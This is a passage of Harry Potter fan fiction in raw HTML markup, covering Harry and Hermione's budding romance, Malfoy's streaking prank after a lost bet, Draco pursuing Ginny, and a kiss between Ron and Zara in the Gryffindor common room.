good thing?&#8221; She\ntried to help.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Finally\nhe found the right words, &#8220;you know last year when I was with Cho, well I was\nreally with her.&#8221; He put an emphasis on the second with, hoping she would take\nthe hint, he didn&#8217;t want to explain it too much.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Nodding\nunderstanding what he meant, &#8220;and you feel the need to tell me this why?&#8221;\nHermione asked nonchalantly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\njust felt you needed to know.&#8221; He tried to smile reassuringly, but it kinda\nfell apart.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Harry\nwell it&#8217;s interesting that you would tell me this, but you&#8217;re a little late I\nalready knew.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nknew, how? I mean Ron didn&#8217;t say anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlaughed, &#8220;Cho my friend has a big mouth.&nbsp;\nShe was blabbing all over school for months. I&#8217;m surprised you didn&#8217;t\nhear it get back to you.&#8221;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Boy\nI feel betrayed.&#8221; He half teased.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nyou shouldn&#8217;t worry she didn&#8217;t say anything bad.&#8221; Hermione couldn&#8217;t help her\nlaughing tone.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What&#8217;s\nso funny?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nif you didn&#8217;t hear it, I&#8217;m not going to tell you.&#8221; She couldn&#8217;t help the\nlaughter.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">It\nreally didn&#8217;t make any difference to him if he knew what she was laughing at\n&#8220;Fine be that way.&#8221; He teased crossing his arms over his chest, &#8220;you know I was\nwondering why everyone was looking at me strangely last year, and now I know\nwhy those things are suppose to be private.&#8221; He shook his head back and forth.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nreally, is that way you told Ron.&#8221; She threw him an amused yet sarcastic\nlook.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry&#8217;s\nmouth dropped he couldn&#8217;t think of anything to say in response, instead he just\nshook his head trying not to laugh himself.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Is\nthat all you wanted to say to me?&#8221; Hermione asked unsure.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Pretty\nmuch yeah,&#8221; he tried to smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nshook her head, &#8220;do you want to know what I thought you were going to say, now\ndon&#8217;t laugh at me okay.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nwould never laugh at you, but maybe if the situation was funny I would laugh at\nit, but never at you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nthought you were going to tell me that you had time to think about kissing me\nlast night and that it was a mistake.&#8221; She said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">There\nwas a slight amusement on his face as he looked over at her &#8220;why you would\nthink that?&#8221; gently he put an arm around her pulling her against him he looked\nover at her, &#8220;you know I never do things that I don&#8217;t mean.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:13.5pt">&#8220;Well I don\'t know what was\ngoing on in your head, I mean you could have just been trying to make me feel\nbetter.&#8221; She glanced at her fingers in her lap.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:13.5pt">&quot;If I just wanted to\nmake you feel better I would have done a lot more than just kiss you.&quot; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:13.5pt">Hermione felt the heat\nrising in her cheeks, she turned slightly to look at him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nopened her mouth to speak when she saw Ron coming towards them in a run.&nbsp; Both Harry and Hermione stood as Ron\napproached.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nsmiled at them, &#8220;Harry, Malfoy&#8217;s going to do it now.&#8221;&nbsp; Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Do\nwhat?&#8221; Hermione looked up at Harry with confusion.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nglanced down at her with amusment, &#8220;Malfoy is going to run naked through the\nschool.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What?\nWhy would he do that?&#8221; She was horrified.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Because\nof the bet we made yesterday before Quidditch practice.&#8221; Ron said suppressing a\nhearty laugh.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\ncome now, you can&#8217;t be serious.&#8221; Hermione looked between the two of them, &#8220;Bets\nand deals tend to get out of hand when it comes to Malfoy.&#8221; She said and\nstarted down at the ground.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\njust ignored Hermione, &#8220;Harry are you coming? we have to go now.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah\nsure.&#8221; Harry looked over at Hermione who did not look happy.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nI&#8217;m not going to see that, the last thing I want is to see Malfoy in the buff.&#8221;\nHer eyes narrowed and she turned walking away from the two of them.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nstared as Hermione walked away from them, turning to Harry he said, &#8220;oh forget\nabout her, come on.&#8221;&nbsp;&nbsp; And both of them\nwalked back into the school, </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nRon here.&#8221; Harry handed him the note that Zara gave him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What&#8217;s\nthis?&#8221; Ron took the note and noticed it was from Zara.&nbsp; He nodded and tucked it into the pocket in\nhis robe he would read it later.&nbsp; Just as\nthey entered through the main doors they saw a really fast blur of blonde hair\nstreak by.&nbsp; Ron and Harry immediately\nbusted into laughter as they heard the screams of horror and whistles of\napproval coming from the other students.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Alicia\nwalked up to both Harry and Ron &#8220;well well, he gets my approval.&#8221; She\ngrinned.&nbsp; &#8220;I can&#8217;t believe he actually\nwent along with this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">They\ncould still hear the screams of horror echoing through the halls and corridors,\neven some threatening teachers.&nbsp; Soon\nthere were fast running footsteps all along the halls chasing after someone.\nMalfoy then came barreling down the stairs again his face bright red with\nembarrassment, he reached for his robe that was laying on the hand railing and\nput it around himself covering everything, &#8220;you will all regret this.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Next\ntime don&#8217;t make a bet that you can&#8217;t live up to Malfoy.&#8221; Harry said still laughing.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nglared at Harry, Ron.&nbsp; Then at&nbsp; Alicia who was throwing him winks and\nadmiring faces.&nbsp; He turned quickly\nheading as fast as he could in the direction of the Slytherin house.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">After\nDraco got dressed he left through the porthole and headed down stairs, every\ntime he came in contact with someone, particularly women and girls, they would\nblush or smile at him, making him feel slightly uncomfortable.&nbsp; He rounded to corner and saw Ginny heading\ninto the great hall with a folder tucked under her arm.&nbsp; She was whistling some happy tune.&nbsp; Draco would follow her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nfound her sitting down at a table by herself, she was looking through a small\nstack of papers.&nbsp; Draco stood absolutely\nstill just watching her, as if mesmerized by her.&nbsp; He watched her lift her hand and run it\nlightly through her dark red hair, flipping it behind her.&nbsp; She looked over at her quill and picked it\nup, daintily dipped it into the ink and began writing.&nbsp; <i style="mso-bidi-font-style:normal">She\nreally has grown into quite a beautiful young lady</i>. Draco thought to himself,\nnothing like her arrogant and idiotic brothers. He walked right up to her,\n&#8220;what are you working on?&#8221; He said with a small smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Nothing\nthat would interest you.&#8221; Ginny said without looking up at him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nshook his head, &#8220;you don&#8217;t know that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">This\ntime she looked up at him, &#8220;Malfoy I really don&#8217;t want to talk to you right\nnow. Or ever again so please go away.&#8221;&nbsp;\nGinny returned to her work.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Too\nbad your loss.&#8221; He said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;ll\ntry to get over it.&#8221; Ginny was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nknow I&#8217;m really not all that bad.&#8221; Draco admitted.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nfind that hard to believe.&nbsp; You are\nhorrible and cruel and I don&#8217;t want to associate with the likes of you.&#8221; Ginny\nscooped up her papers and put them back in her folder. She stood from the table\nand headed for the door.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nmean a person can&#8217;t make mistakes, they have to be just perfect.&#8221; Draco sounded\nhurt.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny\nturned glaring at him &#8220;mistakes yes, people are allowed mistakes.&nbsp; Just you have never made a mistake,\neverything you have done has been intentional.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nthink you are mistaken.&#8221; He said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No\nI&#8217;m not,&#8221; Ginny threw her folder on the table next to her. &#8220;You don&#8217;t even like\nHermione yet you&#8217;re constantly around her now.&nbsp;\nThat is slightly suspicious, what in heavens name are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;m\ntrying to make up for the past.&#8221; He said looking right at Ginny.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t believe that for one minute, and neither does anybody else.&nbsp; We are going to keep you away from her.&#8221;\nGinny replied. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Look\nI don&#8217;t want her, you can trust me on that.&#8221; Draco replied.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Then\nwhy?&#8221; Ginny folded her arms across her chest.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\ncould not say why, but he had to think of something to say.&nbsp; &#8220;I was just trying to find away to talk to\nher like a normal person, perhaps even a friend. I know I&#8217;ve been just horrible\nto her.&nbsp; I really wanted to make it up to\nher, I really did.&#8221; Draco said trying to sound sincere.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nI see, by trying to make it up to her. You wanted to make it with her. Oh yeah\nthat just makes tons of sense.&#8221; Ginny said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes\nsometimes I think with what&#8217;s in my pants I&#8217;ll admit it. But I was wrong I\nshould never have pushed it like I did. I feel really bad I told you earlier\ntoday what I was really trying to do.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny\neyed him suspiciously &#8220;I don&#8217;t know if I should believe anything that comes out\nof your mouth.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Look\nI&#8217;ll prove to you that I have changed my ways.&#8221; Draco said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;We&#8217;ll\nsee.&#8221; She turned picked up her folder from off the table and left through the\ndoors.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nsmiled to himself, he didn&#8217;t care about his fathers stupid plan.&nbsp; He wanted Ginny and he would prove to her\nthat he was worthy of her affections.&nbsp;\nAnd his decision had been made&nbsp; He\ncould smell the scent of dinner being prepared and by the smell of things it\nwas just about ready as students started filling into the Great Hall and he\nknew it was time.&nbsp; He immediately went\nover to his table and sat down.&nbsp; He\nwatched as he saw Ron and Harry walk in and sit down.&nbsp; Neville walked in talking to Alicia.&nbsp; Zara with Enrique and Jewel came in laughing\nwhole heartedly,&nbsp; She waved to her\nfriends as Enrique and&nbsp; Jewel went over\nto their table&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\ncame into the great hall and took her usual seat between both Ron and Harry,\n&#8220;Well I hope that naked nonsense is over, I wouldn&#8217;t want to loose my dinner\nthank you very much.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah\nit&#8217;s over, but it was funny.&#8221; Harry said, &#8220;and you missed it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It\nprobably was.&#8221; Hermione picked up her napkin from the table and placed it in\nher lap and felt a hand squeeze hers.&nbsp;\nShe couldn&#8217;t help the slight flush to her cheeks.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nlooked across the table at Ron, Harry, and Hermione.&nbsp; She smiled when she saw Harry lean closer to\nHermione&#8217;s ear saying something to her.&nbsp;\nHermione nodded, and their food appeared.&nbsp; Zara looked down at her plate and poked her\nfork into her poached salmon.</p>\n\n<p class="MsoNormal">&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nwatched as Harry and Hermione finished off their dinner in rapid speed, He just\nstared astounded that two people could eat so fast.&nbsp; &#8220;Why are you two in such a rush?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwas about to answer when they saw Dumbledore stand, the entire student body\nquieted down and looked towards him. He was going to make an announcement.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Dumbledore\ncleared his throat, &#8220;interesting prank today students.&#8221; He grinned, &#8220;we haven&#8217;t\nhad a streaker for awhile although last time it occurred it was a group of\nboys,&#8221; He almost broke into laughter.&nbsp;\n&#8220;Anyway I wanted to make an announcement, that I have started a new\nclass for all six year students, you must attend this on Monday&#8217;s at four\no&#8217;clock. That is all carry on.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nseemed intrigued, &#8220;I wonder what kind of class this is?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Hopefully\nsomething that doesn&#8217;t require too much book work.&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nrolled her eyes she felt a tugging on her sleeve.&nbsp; She turned to find Harry still tugging on her\nsleeve she pulled her sleeve from his grasp. &#8220;Alright I&#8217;m coming.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\ngrinned and they both stood leaving the great hall. Ron watched the door where\nhis two friends had left through. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Hmmm?&#8221; He turned to Zara, &#8220;Interesting.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nis?&#8221; Zara said picking up her glass.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nnothing really, I&#8217;m just thinking out loud.&#8221; And they continued their dinner.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">It\nwas a lazy evening, after dinner was finished and time wore on later and later.\nStudents started going to their houses to relax a bit before going to bed.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nand Zara were sitting on the sofa in the common room, Zara was studying while\nRon was updating the Quidditch plays as the other students played games of\nchess and other younger students started retiring for the night, every few\nmoments another group of students left for bed.&nbsp;\nRon looked over at Zara, she had her hair in two braids on either side\nof her head, with a golden ribbon weaved in the braid, he smiled looking at\nher.&nbsp; He remembered the note he received\nfrom Zara.&nbsp; His eyes traveled along her\npretty face that was half shadowed by the roaring fire.&nbsp; She really was beautiful he though then\nrealized that he was staring and returned to his writing.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;When\nare you going to do it?&#8221; Zara asked quietly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Do\nwhat?&#8221; Ron confused looked at her running his hand through his red hair, she\nwas staring directly at him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Kiss\nme?&#8221; She said tilting her head to the side.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nnearly choked on his saliva, &#8220;what?&#8221;&nbsp; Why\nwas he so nervous around her? he was not a nervous kinda guy. But she made him\nfeel so vulnerable, perhaps it was because she was so blunt and to the point.\nMuch like himself.&nbsp;&nbsp; He couldn&#8217;t think of\nanything to say, he just stared.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Kiss\nme?&#8221; She repeated, &#8220;I know you want to.&#8221; She smiled a cute little smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\ncould not speak he was lost for words, of course he wanted to. Everyday since\nhe had known her which hasn&#8217;t been very long but still he&#8217;s wanted to kiss her\nsince the very first time he laid eyes on her.&nbsp;\nIt wasn&#8217;t like he&#8217;s never kissed a girl before, he&#8217;s had lots of kisses,\nhe thought about when he kissed Lavender that was nice and sweet, gentle and\nsoft. And then last New Years eve he had convinced Hermione to give him a kiss\nright at midnight on the dot, and it was okay but just wasn&#8217;t what he\nwanted.&nbsp; Then there was Cherry,\nGabriella, Nicolette and many others. He had done quite a lot of kissing and\nmany other things last year earning him the name male slut. But he didn&#8217;t care\nhe was having a grand time, and so were they.&nbsp;\nRon looked at Zara still not knowing what to say or do.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nI guess I was wrong, I mean if you don&#8217;t want to that&#8217;s fine.&#8221; She sounded\ndisappointed and started to return to her reading.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Do it, do it now! </i>His head shouted. And without a second thought he\nreached over, he had Zara&#8217;s face in his hands and he was kissing her.&nbsp; He felt Zara&#8217;s mouth open beneath his, her\nresponse was even more surprising, as she was kissing him she pushed him back\nlong ways against the sofa arm, their books and things falling to the floor in\na pile. Ron&#8217;s arms went around her, his palms flattening against her back still\ndrinking in the depths of her mouth, he felt her tongue pressing and playing\nagainst his.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&nbsp;&nbsp; He had to take a breath, he pulled his\nmouth from hers looking into her eyes she seemed dazed and so aware of him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nstared at him knowing that this feeling was so different, she had never felt\nlike this with a first kiss before. It was so enlightening and fulfilling.\nSomehow perfect, she pressed her hands against his chest feeling his heartbeat,\nwith her left hand she grasped his and put his hand against her heart, she\nlifted her gaze to his. &#8220;Do you feel that?&#8221; She asked in a whisper.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nnodded, their hearts were actually beating together, it was the strangest\nfeeling, the best feeling he had ever known. He lifted his hand behind her head\nand pulled her mouth down against his, he didn&#8217;t want that feeling to end Zara\npressed both of her hands to his face.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;There was a slight coughing sound alerting\nthem, they slowly pulled apart and looked up at Harry looking at them with an\ninteresting look on his face.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nsmiled foolishly as Zara sat up straight trying not to look foolish\nherself.&nbsp; Harry shook his head back and\nforth &#8220;I leave for a few hours and look what I come back to find.&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nI was about to go up to bed anyway.&#8221; Ron said looking at Harry </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nthought as much.&#8221; Harry raised an eyebrow and Ron knew what he was thinking. It\nwasn&#8217;t everyday that Harry got to make a wise crack at Ron&#8217;s expense. He was\ndelighted.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ha,\nha very funny.&#8221; Ron said as he stood, he looked into Zara&#8217;s dark eyes. &#8220;Well\ngoodnight I&#8217;ll see you tomorrow.&#8221;&nbsp; And he\nturned to walk up the stairs to the boys dormitories, Zara did the same and\nwent up the stairs into the girls dormitories.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nchanged out of his clothes and got into his bed he hadn&#8217;t realized how tired he\nwas, as soon as his head hit the pillow he was out like a light&#8212;<i style="mso-bidi-font-style:normal"> He scanned the ballroom waiting for the\nannouncement to begin.&nbsp; Walking around he\nwent and stood by his friends.&nbsp; &#8220;Torrin,\nJasmine, what&#8217;s going on?&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Ulrich is about to receive his gifts.&#8221;\nJasmine replied looking at him.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Why is it that Ulrich celebrates the\nday of his birth, I mean who would want to celebrate that day?&#8221; He said in\nsarcasm.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Kai that&#8217;s quite a rude thing to say,&#8221;\nJasmine scolded.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Well it&#8217;s true.&#8221; Kai replied, &#8220;Torrin\nyou agree with me don&#8217;t you?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Torrin nodded, &#8220;Certainly.&#8221; He grinned.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Jasmine rolled her eyes, &#8220;you two are\nimpossible.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i 